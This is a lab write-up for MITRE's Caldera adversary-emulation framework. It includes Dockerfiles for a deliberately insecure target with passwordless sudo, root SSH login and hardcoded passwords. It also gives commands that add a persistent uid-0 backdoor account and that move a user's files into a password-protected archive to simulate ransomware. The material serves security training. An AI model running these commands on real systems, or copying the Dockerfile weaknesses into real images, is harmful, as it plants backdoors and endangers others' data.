**Project CALDERA**

Caldera

Caldera is a framework developed by MITRE

Aims to save time, money and energy through automated security assessments

**User Machine**

Run the following command:

# ip route add 172.18.0.0/16 via 192.168.100.7

**DockerFiles**

Lab1:

FROM php:7.4-apache

# Installing packages including sudo

RUN apt-get update && apt-get -y install net-tools vim nano expect sudo iproute2 iputils-ping openssh-server

# Setting root password

RUN echo 'root:Pr0jectC@ldera' | chpasswd

# Create user bob

RUN useradd bob

RUN echo 'bob:P@ssword' | chpasswd

RUN mkdir -p /home/bob

RUN chown -R bob:bob /home/bob

# Adding bob into sudoers file (VULNERABILITY)

RUN echo 'bob ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/my-user

RUN chmod 0440 /etc/sudoers.d/my-user

# start ssh server'

RUN mkdir /var/run/sshd

RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd\_config

# expose port 22 for SSH connection

EXPOSE 22

USER bob

# Start SSH service on container startup

CMD sudo service ssh start && tail -f /dev/null

Docker-compose.yml:

version: '3'

services:

lab1:

build: ./Target1

ports:

- "2222:22"

networks:

- mynetwork

lab2:

build: ./Target2

ports:

- 8080:80

networks:

mynetwork:

**LAB 1 (linux)**

OBJECTIVE – Gain Root access

**Reconnaissance –**

# id

# cat /etc/passwd

# sudo /etc/passwd

**Set Up -**

Create a new adversaries profile

A picture containing screenshot, text, software

Description automatically generated

Add Ability

A screenshot of a computer

Description automatically generated with medium confidence

Select payload

A picture containing text, software, multimedia software, font

Description automatically generated

Edit command

sudo bash -c 'useradd -ou 0 -g 0 -M -d /root -s /bin/bash butter; if [ $(cat /etc/os-release | grep -i "Name=\"ubuntu\"") ]; then echo "butter:BetterWithButter" | sudo chpasswd; else echo "butter:BetterWithButter" | sudo chpasswd; fi;'

Command Breakdown:

sudo bash -c 'useradd -ou 0 -g 0 -M -d /root -s /bin/bash butter;

**Creates user butter with uid 0 and gid 0, sets /root as home directory and sets login shell to /bin/bash**

if [ $(cat /etc/os-release | grep -i "Name=\"ubuntu\"") ]; then echo "butter:BetterWithButter" | sudo chpasswd;

**Sets password to “BetterWithButter” if OS is ubuntu**

else echo "butter:BetterWithButter" | sudo chpasswd; fi;'

**Sets password to “BetterWithButter” if OS is not ubuntu**

Delete the cleanup as we want this to stay



Click Save & Add

Navigate to Operation

Create new operation

Name : “lab1”

Adversary : “IAMINYOURWALLS”

Fact source : “basic”

Click Start

--------------------------------------------------------------------------------------------

Once done, navigate back to your bash shell

# sudo /etc/passwd

Observer that a new user “Butter” has been added with uid 0 and gid 0

# su butter

# BetterWithButter

# whoami

# id

**LAB 2 (Windows)**

Launch agent

Create new adversary

Select

Edit in:  
  
&& Move-Item -Path "C:\Users\Alva\Desktop\Very Important Information" -Destination "C:\Users\Alva\tmp\victim-files"

To the caldera command

Final output should look like this:

path=%path%;"C:\Program Files (x86)\winzip" && mkdir .\tmp\victim-files && Move-Item -Path "C:\Users\Alva\Desktop\Very Important Information" -Destination "C:\Users\Alva\tmp\victim-files" && cd .\tmp\victim-files && echo "This file will be encrypted" > .\encrypted\_file.txt && "%ProgramFiles%\WinZip\winzip64.exe" -min -a -s"hello" archive.zip \* && dir